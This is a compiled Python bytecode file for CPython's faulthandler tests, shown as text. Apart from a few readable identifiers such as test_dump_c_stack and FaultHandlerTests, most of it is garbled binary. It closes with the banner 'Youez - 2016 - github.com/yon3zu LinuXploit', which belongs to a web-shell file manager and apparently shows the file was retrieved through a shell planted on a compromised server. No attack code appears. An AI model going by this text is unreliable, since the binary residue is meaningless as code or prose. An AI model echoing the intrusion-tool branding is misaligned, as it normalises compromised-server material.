        import faulthandler
        faulthandler.dump_c_stack()
        )r	rNr?r�rSs&   r�test_dump_c_stack�#FaultHandlerTests.test_dump_c_stackBsB����
�� �?�?�4�0�������1�%����6�"rc�J�]PHoUOQ29^tt^2o[OUQ5UO	2UO]2UO
UO2OQ22PPP2P!)%fhP!9h)rzw+)�filer)	r$r�r��dump_c_stack�flush�seekr�rAr�)rEr$�tmps&  r�test_dump_c_stack_file�(FaultHandlerTests.test_dump_c_stack_fileLsh���
�
#�
#�D�
)�
)�S��%�%�3�/��I�I�K��H�H�Q�K����s�x�x�z�/�/��5�6�	*�
)�
)�
)�s�A'B�B"	�B"	r)NNr#)FF�)FFFFN)Y�__name__�
__module__�__qualname__�__firstlineno__rNrirqrtr!rzrr�rr�rrr[�platformr��	_testcapi�
skipUnlessrr[r�r�r�r�r��
startswithr�r�r�r�r�r�r�r�r�r�r�requires_subprocessr�r�r�rrr	rrrrr!r0r4r7r;r>rA�requires_resourcerFrPr`rTr]rardrgrjrmr
rprsrrzr�rr�r�r�r�r�r�requires_working_threadingr�r�r�r��__static_attributes__�__classdictcell__)�
__classdict__s@rr+r+Fs�����'-�R1)�!�1)�/3�1)�AE�1)��1)�15�1)�$)�1)�(-�	1)�
!�1)�(�
1)�f?�?��"��"��!%��!%�F
!��i�(��)���_�_�S�\�\�W�,�9�;��h�'�(�(�;�(��_�_�Y�$�&�(8�9�
������2�4H�I��h�'��	��(�J�:�	��_�_�Y�$�&�(8�9�
������2�4H�I��h�'��	#��(�J�:�	#��_�_�Y�$�&�(8�9�
%�:�
%�+�*��_�_�S�\�\�,�,�Y�7�B�C��_�_���/@�A�A�:�<�<�<�C�
<��"��"��
#��
#��_�_�S�\�\�W�,�E�G����G�����������)��)��7��7�@%�,
� � �"�4�#�4�
� � �"�
3�#�
3�
� � �"�3�#�3�$,&�t�,&��,&�\$�9��_�_�S�\�\�W�,�E�G�6�G�6�&�0;&�z0�8�=&�/3�=&�8<�=&�~*�5�5�?��_�_�S�\�\�W�,�E�G�<�G�<�
���z�*�1�+�1�#8�J�
�_�_�W�,�,�0�1�)�1��)�:�_�_���z�:�:�1�3�O*�3�O*�b�-�3��_�_�S�\�\�W�,�E�G�0�G�0�.�
���<�T�J�(�K�(��_�_���z�:�:�1�3�$8�3�$8�L� �� �6�����%:�;��<������%:�;�
1�<�
1�����%:�;�4�<�4�6����%:�;�
/�<�
/�	&��0�0�2�
����0�0�2Z�[�&�\�3�&�6=�#�7�7rr+�__main__)r�),�
contextlibrr+r�r7r�r[r�r[r r�test.supportrrrrrr$r�textwrapr	r��ImportError�has_subprocess_support�SkipTestr-r��escaper_�THREAD_NAME�	THREAD_IDr^�CURRENT_THREAD_IDr]rrr!r)�ADDRESS_EXPRrb�TestCaser+r��mainrrr�<module>r�s8��%���	�	�
��
��[�[�������%�%�%�
�
�
�=�
>�>�

��5���y�y�)�*����!�+��/�	��;�:�;�
�1�+��?��-�.�.J�K��;�
!�M�
�#��#���A�(���e�L�>��T��
�
M7��)�)�M7�^ �z���M�M�O���I"���I��s�C,�,C8�2C8�7C8

Youez - 2016 - github.com/yon3zu
LinuXploit